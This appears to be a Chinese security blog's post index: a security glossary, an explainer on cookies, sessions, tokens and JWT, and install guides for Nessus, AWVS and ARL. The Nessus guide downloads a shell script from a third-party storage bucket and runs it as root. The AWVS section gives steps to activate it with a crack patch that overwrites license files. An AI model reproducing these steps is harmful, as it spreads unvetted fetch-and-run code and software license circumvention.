一种常见的做法是聘请组织外部的人员进行红队 - 具备利用安全漏洞的知识但不了解组织基础架构中内置的防御措施的人员. 红队使用的技术多种多样,从针对员工和社会工程的标准网络钓鱼尝试到冒充员工以获取管理员访问权限.为了真正有效,红队需要了解攻击者将使用的所有策略、技术和程序. 红队提供了重要的好处,包括更好地了解可能的数据利用和预防未来的违规行为.通过模拟网络攻击和网络安全威胁,公司可以确保其安全性与适当的防御措施相提并论. BlueTeam(蓝队) 蓝队类似于红队,因为它还评估网络安全并识别任何可能的漏洞. 但蓝队的不同之处在于,一旦红队模仿攻击者并以特有的战术和技术进行攻击,蓝队就会找到防御、改变和重组防御机制的方法,从而使事件响应更加强大. 与红队一样,蓝队也需要了解相同的恶意策略、技术和程序,以便围绕它们制定响应策略.蓝队活动并不是攻击所独有的.他们不断参与加强整个数字安全基础设施,使用像 IDS(入侵检测系统)这样的软件,为他们提供对异常和可疑活动的持续分析. APT攻击 Advanced Persistent Threat,高级可持续性攻击,是指组织(特别是政府)或者小团体利用先进的攻击手段对特定目标进行长期持续性网络攻击的供给形式(极强的隐蔽性、潜伏周期长、持续性强、目标性强) ATT&CK 可以简单理解为描述攻击者技站术的知识库 MITRE在2013年推出了该模型,他是根据真实的观察数据来描述和分类对抗行为. ATT&CK 将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示 安全产品蜜罐 好比是情报收集系统. 蜜罐好像是故意让人攻击的目标,引诱黑客来攻击,所以攻击者攻击后,你就可以知道他是如何得逞的,随时了解针对你的服务器发动的最新的攻击和漏洞,还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络. UTM 即Unified Threat Management,中文名为统一威胁管理,最早由IDC于2014年提出,即将不同设备的安全能力(最早包括入侵检测、防火墙和反病毒技术),及集中在同一网关上,实现统一管理和运维 堡垒机 运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责 WAF 即Web应用防火墙(Web Application Firewall),是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品 SOC 即Security Operations Center 翻译为安全运营中心或者安全管理平台. 通过建立一套实时的资产风险模型,协助管理员进行事件分析、风险分析、预警管理和应急响应处理的集中安全管理系统 上网行为管理 是指帮助互联网用户控制和管理对互联网使用的设备 其包括对网页访问过滤、上网隐私保护、网络应用控制、带宽流量管理、信息收发审计、用户行为分析等 规则库 网络安全的核心数据库,类似于黑名单,用于存储大量安全规则,一旦访问行为和规则库完成匹配,则被认为是非法行为. 所以有人也将规则库比喻为网络空间的法律 安全运营安全运营 贯穿产品研发、业务运行、漏洞修复、防护与检测、应急响应等一系列环节,实行系统的管理方法和流程,将各个环节的安全防控作用有机结合,保障整个业务的安全性 应急响应 通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施 威胁情报 威胁情报是某种基于证据的知识,包括上下文、机制、标示、含义和能够执行的建议. 这些知识与资产所面临已有的或酝酿中的威胁或危害相关,可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持. 根据使用对象的不同,威胁情报主要分为人读情报和机读情报 https://www.secrss.com/articles/1560https://www.secrss.com/articles/1560 告警 指网络安全设备对攻击行为产生的警报 误报 也称无效告警,通常指告警错误,即把合法行为判断成非法行为而产生了告警. 目前,由于攻击技术的快速进步和检测技术的限制,误报的数量非常大,使得安全人员不得不花费大量时间来处理此类告警,已经成为困扰并拉低日常安全处置效率的主要原因 漏报 通常指网络安全设备没有检测出非法行为而没有产生告警. 一旦出现漏报,将大幅增加系统被入侵的风险 安全可视化 指在网络安全领域中的呈现技术,将网络安全加固、检测、防御、响应等过程中的数据和结果转换成图形界面,并通过人机交互的方式进行搜索、加工、汇总等操作的理论、方法和技术 全流量检测 全流量主要体现在三个方面:全流量采集与保存、全行为分析和全流量回溯. 通过全流量分析设备,可以实现对网络中的全部流量进行采集与保存,并进行全面的行为分析以及全流量的回溯.同时,还可以提取网络元数据,并将其上传到大数据分析平台,以实现更加丰富的功能和分析. 态势感知 是一种基于环境的、动态、整体地洞悉安全风险的能力,是以安全大数据为基础,从全局视角提升对安全威胁的发现识别、理解分析、响应处置能力的一种方式,最终是为了决策与行动,是安全能力的落地 探针 又称网络安全探针或者安全探针. 可以简单理解为赛博世界的摄像头,部署在网络拓扑的关键节点上. 用于收集和分析流量和日志,发现异常行为,并对可能到来的攻击发出预警. 网络空间测绘 用搜索引擎技术来提供交互,让人们可以方便的搜索到网络空间上的设备. 相对于现实中使用的地图,用各种测绘方法描述和标注地理位置,用主动或被动探测的方法,来绘制网络空间上设备的网络节点和网络连接关系图,及各设备的画像. 零信任 零信任并不是不信任,而是作为一种新的身份认证和访问授权理念,不再以网络边界来划定可信或者不可信. 而是默认不相信任何人、网络以及设备,采取动态认证和授权的方式,把访问者所带来的网络安全风险降到最低 供应链攻击 是黑客攻击目标机构的合作伙伴,并以该合作伙伴为跳板,达到渗透目标用户的目的. 一种常见的表现形式为:用户对厂商产品的信任,在厂商产品下载安装或者更新时进行恶意软件植入进行攻击. 所以,在某些软件下载平台下载的时候,如果遭遇捆绑软件就要小心了 Payload 中文’有效载荷’,指成功ExpLoit之后,真正的目标系统执行的代码或指令 EXP/Exploit 漏洞利用代码,运行之后对目标进行攻击 POC/Proof of Concept 漏洞验证代码,检测目标是否存在对应漏洞 0DAY/1DAY/Nday 0day:漏洞是指负责应用程序的程序员或供应商所未知的软件缺陷.因为该漏洞未知,所以没有可用的补丁程序 1day:1day刚发布,但是已被发现官方刚发布补丁网络还大量存在的Vulnerability. Nday: Nady已经被公布出来的0day CVE 全称Common Vulnerablilitites and Exposures,由于安全机构Mitre维护一个国际通用的漏洞唯一编号方案,已经被安全业界广泛接受的标准 CNVD 国家信息安全漏洞共享平台,简称CNVD,国家计算机网络应急技术处理协调中心联合建立的信息安全漏洞信息共享知识库. 主要目标提升我国在安全漏洞方面的整体研究水平和及时预防能力,带到国内相关安全产品的发展 暗网 “暗网”是指隐藏的网络,普通网民无法通过常规手段搜索访问,需要使用一些特定的软件、配置或者授权等才能登录. 暗网是利用加密传输、P2P对等网络、多点中继混淆等,为用户提供匿名的互联网信息访问的一类技术手段,其最突出的特点就是匿名性 黑产 指以互联网为媒介,以网络技术为主要手段,为计算机信息系统安全和网络空间管理秩序,甚至国家安全、社会政治稳定带来潜在威胁(重大安全隐患)的非法行为. 例如非法数据交易产业 元数据 元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(data about data),主要是描述数据属性(Property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能 数据脱敏 数据脱敏是指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护,主要用于数据的共享和交易等涉及大范围数据流动的场景","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-会话授权","path":"/2024/02/08/c44eef61/","content":"总字符数: 10.83K 代码: 0.04K, 文本: 7.30K 预计阅读时间: 32 分钟 认证(Authentication) 通俗地讲就是验证当前用户的身份,证明“你是你自己”(比如:你每天上下班打卡,都需要通过指纹打卡,当你的指纹和系统里录入的指纹相匹配时,就打卡成功) 互联网中的认证: 用户名密码登录 邮箱发送登录链接 手机号接收验证码 只要你能收到邮箱/验证码,就默认你是账号的主人 授权(Authorization) 用户授予第三方应用访问该用户某些资源的权限 你在安装手机应用的时候,APP 会询问是否允许授予权限(访问相册、地理位置等权限) 你在访问微信小程序时,当登录时,小程序会询问是否允许授予权限(获取昵称、头像、地区、性别等个人信息) 实现授权的方式有:Cookie、session、token、OAuth 凭证(Credentials)​ 想要进行身份验证和获取访问权限,首先需要有一样东西来证明你是谁,就好比一个标识符。 ​ 这就像古代的商鞅变法时候,人们要携带照身帖,这是一小块刻有个人信息的竹板,如果没有它,人们就可能被当作非法居民或者间谍。在现代生活中,我们有身份证,这是官方认可的证明我们身份的文件。 ​ 有了身份证,我们就能办理各种事务,比如开通手机卡、银行卡,甚至申请个人贷款或者乘坐公共交通,这就是我们的身份凭证。 ​ 在互联网世界里,这个身份标识通常是通过登录进入某个网站(比如掘金)的过程来获取的。如果你以游客身份浏览,你可以自由读文章,但想要点赞、收藏或分享,就得先登录。一旦登录成功,网站就会给你的浏览器发放一个令牌,也就是一个小标识,这样服务器就知道你是谁了。以后每次你的浏览器向服务器发送请求,都会带上这个令牌,这样你就能使用那些只有登录用户才能用的功能了。简单来说,这个过程就像是网站认可了你的身份,并授权你进行一系列操作。 ​ 凭证(Credentials)在认证和授权过程中扮演着至关重要的角色。在信息技术和网络安全领域,凭证通常作为验证用户身份的手段,包括但不限于以下几种形式: 知识因素(Knowledge factors):这是某种用户知道的信息,比如密码、PIN码或者安全问题的答案。 持有因素(Possession factors):这是用户拥有的物理设备,如智能卡、USB令牌、手机中的验证器应用程序或者是一次性密码令牌。 固有因素(Inherence factors):这些是用户的生物特征,如指纹、面部识别、语音识别或其他生物识别方法。 地理位置因素(Location factors):通过验证用户的地理位置信息,例如通过GPS确认用户的设备位置。 行为因素(Behavior factors):这涉及到用户的行为模式,比如键盘打字节奏、鼠标移动特征等。 Cookie ​ HTTP是一种无状态的协议,这意味着每次客户端和服务器的交互(或称会话)完成后,服务器不会记住任何会话信息。每个HTTP请求都被视作新的请求,所以服务器本身无法识别当前请求的用户是不是上一次请求的那个人。为了解决这个问题,服务器和浏览器之间需要一种方式来保持跟踪对话,确认请求是否来自同一个用户的同一个浏览器。这种跟踪通常是通过使用Cookie或session来实现的。 ​ Cookie是存储在客户端的,确切地说就是存储在用户的浏览器里。它是由服务器创建并发送到浏览器的小型数据片段,浏览器会将这些数据存储起来,然后在下次向同一个服务器发出请求时,浏览器会自动将Cookie数据附加在请求中发送给服务器。这样,服务器就能通过Cookie识别用户,维持用户的状态信息。 ​ Cookie是有域名限制的,这意味着一个Cookie只能由创建它的域名所使用。它们不可以被不同的域名所共享,这是基于安全考虑的。但是,同一个顶级域名下的不同子域名可以设置为共享Cookie,这是通过设置Cookie的“domain”属性来实现的。比如,一个Cookie可以被设定为对所有的子域名开放,这样不仅一级域名下的页面可以访问这个Cookie,二级域名下的页面也同样可以访问。 属性 说明 name=value 键值对,设置Cookie的名称及相应的值。值必须是字符串类型。如果值为Unicode字符,需要进行字符编码;如果值为二进制数据,则需要使用BASE64编码。 domain 指定cookie所属域名,默认是当前域名。 path 指定cookie在哪个路径下生效,默认是/。如果设置为/abc,则只有/abc路径下的路由可以访问到该cookie。 maxAge 设置cookie失效的时间,单位是秒。如果这个值是正数,则cookie在maxAge秒后失效;如果是负数,cookie为临时cookie,关闭浏览器则失效。浏览器不会保存这种cookie。如果是0,表示删除该cookie。默认值为-1。比expires属性更好用。 expires 过期时间,指定时间点后cookie失效。一般浏览器默认储存cookie,但关闭浏览器后,未设置过期时间的cookie会被删除。 secure 该cookie是否仅通过安全协议传输。安全协议有HTTPS,SSL等,在网络上传输数据前会先对数据进行加密。默认为false。当secure值为true时,cookie在HTTP中无效,在HTTPS中有效。 httponly 如果给cookie设置了httponly属性,那么无法通过JavaScript脚本读取该cookie的信息。这样可以一定程度上防止XSS攻击。该cookie仍然可以通过浏览器的应用程序接口手动修改。 Session session 是另一种记录服务器和客户端会话状态的机制 session 是基于 Cookie 实现的,session 存储在服务器端,SessionId 会被存储到客户端的Cookie 中 session 认证流程: 当你第一次访问一个网站时,网站的服务器会根据你提供的一些信息,比如你输入的用户名和密码,来为你创建一个会话,这就像是给你安排了一个独有的小房间。然后服务器会给这个房间一个房间号,我们称之为SessionID,并且把这个房间号发回给你的浏览器。 你的浏览器收到这个SessionID后,就像是收到了一个钥匙牌,它会把这个钥匙牌放到一个小盒子里,这个小盒子就是Cookie。浏览器还会在这个小盒子上写上房间在哪个街区,也就是这个SessionID属于哪个网站的域名。 下次你再去同一个网站时,你的浏览器就会自动检查一下,看看有没有那个网站的小盒子(Cookie)。如果发现有,浏览器就会把里面的钥匙牌(SessionID)一起送到服务器上。服务器接到钥匙牌后,就可以根据房间号找到你之前的房间(Session信息)。 如果服务器发现这个房间还在,也就是你的会话还有效,那么它就知道你是之前的那位访客,就可以继续允许你做接下来的操作,比如进入你的账户页面。如果服务器找不到与钥匙牌对应的房间,那么它就会认为你要么是新来的,要么你的访问已经过期了,这时通常就需要你重新登录了。 根据以上流程可知,SessionID 是连接 Cookie 和 Session 的一道桥梁,大部分系统也是根据此原理来验证用户登录状态。 Cookie 和 Session 的区别Cookie和Session都用于保存用户的浏览状态,但它们在安全性、数据类型支持、有效期和存储大小等方面有一些区别: 安全性: Session 更安全,因为数据存储在服务器上。黑客很难直接获取,除非服务器本身存在安全问题。 Cookie 存储在客户端(通常是用户的浏览器),更容易受到跨站脚本攻击(XSS)和其他恶意攻击。 存取值的类型不同: Cookie 由于是文本格式,只能用来存储字符串数据。如果想要存储复杂数据类型,需要先将数据转换为字符串格式,比如通过JSON格式化。 Session 可以存储各种类型的数据,包括对象和数组等,这使得Session在数据操作方面更为灵活。 有效期不同: Cookie 可以设定为长时间保持,例如可以通过设置过期日期来使得Cookie长期有效,这常用于实现“记住我”功能。 Session 的默认有效期较短,用户关闭浏览器后,或者经过设定的超时时间后,Session通常会失效。 存储大小不同: Cookie 数据大小限制为每个Cookie 4KB左右。 Session 可以存储的数据量远大于Cookie,因为它是存储在服务器端的。但是,如果网站访问量很大,每个用户的Session都存储大量数据,那么服务器的资源将会受到很大的压力,可能会影响服务器的性能。 因此,选择使用Cookie还是Session,要根据实际需要考虑数据的安全性、类型、存储大小和服务器资源等因素。通常,敏感信息(如登录状态)会保存在Session中,而一些不那么敏感的信息(如网站主题偏好设置)可以保存在Cookie中。 Token(令牌)Acesss Token 访问资源接口(API)时所需要的资源凭证 简单 token 的组成: uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,token 的前几位以哈希算法压缩成的一定长度的十六进制字符串) 特点: 服务端无状态化、可扩展性好 支持移动端设备 安全 支持跨程序调用 token 的身份验证流程: 客户端使用用户名跟密码请求登录 服务端收到请求,去验证用户名与密码 验证成功后,服务端会签发一个 token 并把这个 token 发送给客户端 客户端收到 token 以后,会把它存储起来,比如放在 Cookie 里或者 localStorage 里 客户端每次向服务端请求资源的时候需要带着服务端签发的 token 服务端收到请求,然后去验证客户端请求里面带着的 token ,如果验证成功,就向客户端返回请求的数据 每一次请求都需要携带 token,需要把 token 放到 HTTP 的 Header 里 基于 token 的用户认证是一种服务端无状态的认证方式,服务端不用存放 token 数据。用解析 token 的计算时间换取 session 的存储空间,从而减轻服务器的压力,减少频繁的查询数据库 token 完全由应用管理,所以它可以避开同源策略 Refresh Token 另外一种 token——refresh token refresh token 是专用于刷新 access token 的 token。如果没有 refresh token,也可以刷新 access token,但每次刷新都要用户输入登录用户名与密码,会很麻烦。有了 refresh token,可以减少这个麻烦,客户端直接用 refresh token 去更新 access token,无需用户进行额外的操作。 Access Token 的有效期比较短,当 Acesss Token 由于过期而失效时,使用 Refresh Token 就可以获取到新的 Token,如果 Refresh Token 也失效了,用户就只能重新登录了。 Refresh Token 及过期时间是存储在服务器的数据库中,只有在申请新的 Acesss Token 时才会验证,不会对业务接口响应时间造成影响,也不需要向 Session 一样一直保持在内存中以应对大量的请求。 Token 和 Session 的区别 Session 是一种记录服务器和客户端会话状态的机制,使服务端有状态化,可以记录会话信息。而 Token 是令牌,访问资源接口(API)时所需要的资源凭证。Token 使服务端无状态化,不会存储会话信息。 Session 和 Token 并不矛盾,作为身份认证 Token 安全性比 Session 好,因为每一个请求都有签名还能防止监听以及重放攻击,而 Session 就必须依赖链路层来保障通讯安全了。如果你需要实现有状态的会话,仍然可以增加 Session 来在服务器端保存一些状态。 所谓 Session 认证只是简单的把 User 信息存储到 Session 里,因为 SessionID 的不可预测性,暂且认为是安全的。而 Token ,如果指的是 OAuth Token 或类似的机制的话,提供的是 认证 和 授权 ,认证是针对用户,授权是针对 App 。其目的是让某 App 有权利访问某用户的信息。这里的 Token 是唯一的。不可以转移到其它 App上,也不可以转到其它用户上。Session 只提供一种简单的认证,即只要有此 SessionID ,即认为有此 User 的全部权利。是需要严格保密的,这个数据应该只保存在站方,不应该共享给其它网站或者第三方 App。所以简单来说:如果你的用户数据可能需要和第三方共享,或者允许第三方调用 API 接口,用 Token 。如果永远只是自己的网站,自己的 App,用什么就无所谓了。 类比想象一下你去咖啡厅,有两种方式让服务员记住你的订单和喜好:使用会员卡(类似于Session):你每次去咖啡厅,服务员会给你一个会员卡,上面有一个号码。每当你点东西,服务员就会根据这个号码记在咖啡厅的大本子上。下次你再来,只要出示会员卡,服务员就能知道你上次点了什么。这样咖啡厅需要保持一个记录本来记住每个人的喜好,也就是说,服务员需要记住每个客人的信息。拿一张写有你订单的纸条(类似于Token):服务员给你一张写有你点餐信息的纸条,这上面有特殊的标记或者密文。你每次来,只要给服务员这张纸条,他们就知道你要什么。这样服务员不需要记住任何人的信息,只需看纸条就足够了。纸条是加密的,别人很难抄袭你的订单,也就是说,这样很安全。那么,这两种方式有什么不同呢?会员卡方式(Session)需要咖啡厅的服务员记住很多信息,就像服务器需要存储和每个用户相关的数据一样。但是如果有很多客人,服务员就要记住很多信息,这可能会很累。纸条方式(Token)则不需要服务员记住任何信息,客人来了直接出示纸条,服务员就知道要做什么,就像服务器不需要存储用户数据,所有的信息都在纸条上。Token很安全,因为即使别人复制了你的纸条,也很难破解上面的密文,而会员卡则需要在服务员和客人之间的交流过程中保持安全。最后的关键点是:如果你去的咖啡厅只有你自己用,你用会员卡或者纸条都可以。但如果你想让你的朋友或者一个快递服务代表你去拿咖啡,你可能会给他一张有你订单的纸条(Token),这样快递服务就能凭借这张纸条为你取到咖啡,而不需要知道你的会员卡号。这就是如果你的订单信息需要与第三方共享的时候,你可能会选择使用Token。 JWT JSON Web Token(简称 JWT)是目前最流行的跨域认证解决方案。 是一种认证授权机制。 JWT 是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准(RFC 7519)。JWT 的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源。比如用在用户登录上。 可以使用 HMAC 算法或者是 RSA 的公/私秘钥对 JWT 进行签名。因为数字签名的存在,这些传递的信息是可信的。 想象一个你的手机有一个电子门票App,这个App可以让你进入各种网络服务,比如邮箱、社交媒体、在线商店等等。JSON Web Token(简称JWT)就像这个App里的电子门票一样,它是一个小小的数据包,可以证明你有权访问这些网络服务。 当你登录一个网站时,这个网站的服务器会给你一个JWT作为门票。这个门票里包含了一些关于你的信息(比如你的用户名),证明了你是谁,并且你有权访问某些服务。 这个门票的特殊之处在于: 它是用一种特殊的数据格式(JSON)写的,这种格式很通用,大多数编程语言都能轻松读懂。 它是安全的。门票上的信息被一种叫做数字签名的技术加密过。这种签名可以用来检查门票是否被人篡改过。 数字签名就像是门票上的一个独特的印章。只有发门票的服务器才有这个印章的模具,所以只有服务器能够创建一个有效的签名。如果有人尝试伪造或改变门票,服务器会发现签名对不上,就像发现印章是假的一样。 当你用这个门票去访问服务器上的服务时,服务器会检查门票上的签名。如果一切正常,它就会放你进去,你就可以查邮件、发消息、买东西等等。 简单来说,JWT是一个安全的方法,让网络服务知道确实是你在访问它,而不是某个冒充者。这使得你在网上的身份和访问权限安全可靠。 https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.htmlhttps://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html 生成 JWThttps://jwt.io/https://jwt.io/ https://www.jsonwebtoken.io/https://www.jsonwebtoken.io/ JWT 的原理 JWT 认证流程: 用户输入用户名/密码登录,服务端认证成功后,会返回给客户端一个 JWT 客户端将 token 保存到本地(通常使用 localstorage,也可以使用 Cookie) 当用户希望访问一个受保护的路由或者资源的时候,需要请求头的 Authorization 字段中使用Bearer 模式添加 JWT,其内容看起来是下面这样 1Authorization: Bearer <token> 服务端的保护路由将会检查请求头 Authorization 中的 JWT 信息,如果合法,则允许用户的行为 因为 JWT 是自包含的(内部包含了一些会话信息),因此减少了需要查询数据库的需要 因为 JWT 并不使用 Cookie 的,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS) 因为用户的状态不再存储在服务端的内存中,所以这是一种无状态的认证机制 JWT 的使用方式 客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。 方式一 当用户希望访问一个受保护的路由或者资源的时候,可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求头信息的 Authorization 字段里,使用 Bearer 模式添加 JWT。 GET /calendar/v1/eventsHost: api.example.comAuthorization: Bearer <token> 用户的状态不会存储在服务端的内存中,这是一种 无状态的认证机制 服务端的保护路由将会检查请求头 Authorization 中的 JWT 信息,如果合法,则允许用户的行为。 由于 JWT 是自包含的,因此减少了需要查询数据库的需要 JWT 的这些特性使得我们可以完全依赖其无状态的特性提供数据 API 服务,甚至是创建一个下载流服务。 因为 JWT 并不使用 Cookie ,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS) 方式二 跨域的时候,可以把 JWT 放在 POST 请求的数据体里。 方式三 通过 URL 传输http://www.example.com/user?token=xxx 项目中使用 JWT Token 和 JWT 的区别相同: 都是访问资源的令牌 都可以记录用户的信息 都是使服务端无状态化 都是只有验证成功后,客户端才能访问服务端上受保护的资源 区别: Token:服务端验证客户端发送过来的 Token 时,还需要查询数据库获取用户信息,然后验证 Token 是否有效。 JWT:将 Token 和 Payload 加密后存储于客户端,服务端只需要使用密钥解密进行校验(校验也是 JWT 自己实现的)即可,不需要查询或者减少查询数据库,因为 JWT 自包含了用户信息和加密的数据。 常见的前后端鉴权方式Session-Cookie 工作原理:当用户通过身份验证后,服务器会创建一个Session,并将其ID存储到用户浏览器的Cookie中。用户随后的每一个请求都会将这个Session ID带回服务器,服务器通过这个ID识别用户。 安全措施:通常使用https加密的传输方式来保护Cookie中的Session ID不被截获。此外,为了防止跨站脚本攻击(XSS),通常将Cookie标记为httpOnly。 Token 验证(包括 JWT,SSO) Token:Token是服务端生成的一串字符串,作为客户端请求的一个凭证,在客户端和服务端之间来回传递。 **JWT (JSON Web Tokens)**:一种特殊形式的Token,其内容是JSON对象,其中包含了一系列的声明。JWT可以被签名以确保数据完整性,也可以被加密以确保数据保密性。 **SSO (单点登录)**:一种让用户登录一次就可以访问多个相互信任的应用系统的认证方式。常常结合Token使用,例如在OAuth2.0流程中的JWT。 OAuth2.0(开放授权) 工作原理:OAuth2.0是一个授权框架,允许第三方应用获取有限的访问权限,这样用户就不必将用户名和密码直接暴露给第三方应用。OAuth2.0定义了几种获取授权的流程,最常见的是授权码流程和简化流程。 使用场景:常用于第三方登录,比如用Google、Facebook账号登录其他网站或应用。 在选择合适的鉴权方式时,需要考虑应用场景、安全需求、用户体验和实施的复杂性等多种因素。例如,如果是单页面应用(SPA),Token验证(特别是JWT)可能更加适合;而对于第三方应用集成或联合登录情况,则OAuth2.0会是更好的选择。在任何情况下,安全性都是设计鉴权系统时的首要考虑因素。 常见问题使用 Cookie 时需要考虑的问题验证它们以确保安全,因为客户端可能更改Cookie。不要在其中存储敏感信息,比如密码。设置httpOnly标志,以帮助防止跨站脚本攻击(XSS)。尽量减小Cookie的大小,它们不能超过4KB,并且合理设置域和路径以限制传输。记住,Cookie是不能跨域的,每个域名浏览器可以存储的Cookie数量有限。使用 session 时需要考虑的问题Session存储在服务器端,可能会占用大量内存,需要管理过期的Session。在多服务器环境中,需要处理Session共享问题。如果浏览器禁用了Cookie,可以通过URL重写来传递Session ID。使用 token 时需要考虑的问题可以存储在数据库或内存中,如Redis,以实现快速访问。它们避开了同源策略限制和CSRF攻击。移动设备通常支持不佳Cookie,所以Token在移动端更常见。使用 JWT 时需要考虑的问题它们不依赖于Cookie,允许你跨域提供API服务。JWT通常不加密,只是编码。敏感信息不应该包含在内。JWT的状态是无状态的,一旦发出,就会一直有效,除非服务器有额外逻辑来废弃或更改。为安全起见,应该通过HTTPS传输,并设置较短的有效期。使用加密算法时需要考虑的问题永远不要明文存储密码,使用强哈希算法,例如SHA-256。不应明文显示或发送密码。只要关闭浏览器,session 真的就消失了?关闭浏览器不会自动删除Session。浏览器关闭后,除非Session超过了设定的时间限制,否则会保留在服务器上。Session通常有一个过期时间,超过该时间无活动则会被服务器清理。","tags":["信息安全","信息收集","渗透测试","会话授权"]},{"title":"Security-Nessus&&AWVS安装","path":"/2024/02/05/cccd7c5c/","content":"总字符数: 7.01K 代码: 1.88K, 文本: 0.75K 预计阅读时间: 11 分钟 NessusNessus安装https://www.tenable.com/downloads/nessus?loginAttempted=truehttps://www.tenable.com/downloads/nessus?loginAttempted=true 将下面代码中的PACKAGE_NAME改成从官网获取的文件名 nessus.sh1PACKAGE_NAME=Nessus-10.6.4-es7.x86_64.rpm 使用root账号执行nessus.sh 1234cd /optwget https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/nessus.shchmod +x nessus.sh./nessus.sh Nessus启动与停止命令123456789101112# 启动sudo systemctl start nessusd# 开机自启sudo systemctl enable nessusd# 停止sudo systemctl stop nessusd# 查看状态sudo systemctl status nessusd# 放行防火墙firewall-cmd --zone=public --add-port=11127/tcp --permanent# 重新载入firewall-cmd --reload 插件数量序号插件名称数量1AIX Local Security Checks115512Alma Linux Local Security Checks11773Amazon Linux Local Security Checks42164Backdoors1235Brute force attacks266CentOS Local Security Checks44147CGI abuses56718CGI abuses : XSS7039CISCO236610Databases96911Debian Local Security Checks919612Default Unix Accounts17213Denial of Service11014DNS23115F5 Networks Local Security Checks140516Fedora Local Security Checks1830417Firewalls41418FreeBSD Local Security Checks547519FTP27220Gain a shell remotely28221General35622Gentoo Local Security Checks351923HP-UX Local Security Checks198324Huawei Local Security Checks1069825Junos Local Security Checks62226MacOS X Local Security Checks228727Mandriva Local Security Checks364128MarinerOS Local Security Checks56429Misc.365730Netware1431NewStart CGSL Local Security Checks143032Oracle Linux Local Security Checks651433OracleVM Local Security Checks60234Palo Alto Local Security Checks17035Peer-To-Peer File Sharing10536PhotonOS Local Security Checks189537Policy Compliance1638Red Hat Local Security Checks1159539Rocky Linux Local Security Checks108340RPC3941SCADA6442Scientific Linux Local Security Checks329143Service detection60144Settings12245Slackware Local Security Checks152546SMTP problems15447SNMP3448Solaris Local Security Checks381949SuSE Local Security Checks2310850Tenable.ot188551Ubuntu Local Security Checks767052Virtuozzo Local Security Checks34153VMware ESX Local Security Checks14354Web Servers169055Windows650956Windows : Microsoft Bulletins300057Windows : User management29 卸载方法 停止Nessus服务 1sudo systemctl stop nessusd && systemctl --no-pager status nessusd 修改/opt/nessus/文件夹属性 1chattr -i -R /opt/nessus/ 卸载Nessus 1234# Debianapt remove nessus# Centosyum remove nessus 注意事项在系统或Nessus重启后,扫描按钮可能出现暂时不能用的情况 原因:Nessus在重新配置插件 解决办法:耐心等待3~5分钟即可. AWVS安装AWVShttps://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/acunetix_23.7_linux.ziphttps://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/acunetix_23.7_linux.zip 1234567891011121314151617181920# 安装依赖sudo yum install -y at-spi2-atk libXdamage pango libXrandr libXfixes atk libXcomposite cups-libs libXext cairo libX11 at-spi2-core mesa-libgbm libxcb libxkbcommon bzip2 gcc# 下载glibc-2.18curl -O http://ftp.gnu.org/gnu/glibc/glibc-2.18.tar.gztar zxf glibc-2.18.tar.gz cd glibc-2.18/mkdir buildcd build/# 检查依赖库../configure --prefix=/usr# 安装glibcmake -j2 && make install# 上传 AWVS 程序包,并解压 wget https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/acunetix_23.7_linux.zip# 解压unzip acunetix_23.7_linux.zip# 切换到解压后的目录,给安装脚本加执行权限chmod +x acunetix_23.7.230728157_x64.sh# 执行安装脚本./acunetix_23.7.230728157_x64.sh 显示软件协议 回车显示安装协议,先按 q退出阅读;再输入YES同意安装许可 输入主机名,默认为你的系统名,回车 输入登录邮箱和密码.并回车 推荐的邮箱和密码 安装成功后.先不要访问!!! 激活AWVS 将破解补丁license_info.json wa_data.dat覆盖到下面目录 12cp license_info.json /home/acunetix/.acunetix/data/license/cp -v wa_data.dat /home/acunetix/.acunetix/data/license/ 复制替换wvsc到下面目录 1cp -v wvsc /home/acunetix/.acunetix/v_230728157/scanner/ 善后 1234567891011121314151617# 设置激活文件只读权限chmod 444 /home/acunetix/.acunetix/data/license/license_info.json# 保护许可证激活文件chmod 444 /home/acunetix/.acunetix/data/license/wa_data.dat# 切换用户su acunetix# 重启 AWVS 服务systemctl restart acunetix.service# 查看状态systemctl status acunetix.service# 放行防火墙firewall-cmd --zone=public --add-port=3443/tcp --permanent# 重新载入firewall-cmd --reload 访问AWVS的管理界面 :https://10.10.20.6:3443/ 验证激活","tags":["信息安全","信息收集","Nday"],"categories":["Security"]},{"title":"Security-ARL&&ARL-Plus安装","path":"/2024/02/04/466824cf/","content":"总字符数: 4.60K 代码: 3.19K, 文本: 0.52K 预计阅读时间: 16 分钟 准备工作更换源1234567891011# 对于 CentOS 7sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \\ -e 's|^#baseurl=http://mirror.centos.org/centos|baseurl=https://mirrors.tuna.tsinghua.edu.cn/centos|g' \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo# 对于 CentOS 8sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \\ -e 's|^#baseurl=http://mirror.centos.org/$contentdir|baseurl=https://mirrors.tuna.tsinghua.edu.cn/centos|g' \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo 更新缓存:yum makecache 1234# 安装Python3sudo yum install python3# 安装Requests库sudo python3 -m pip install requests 关闭selinux12vim 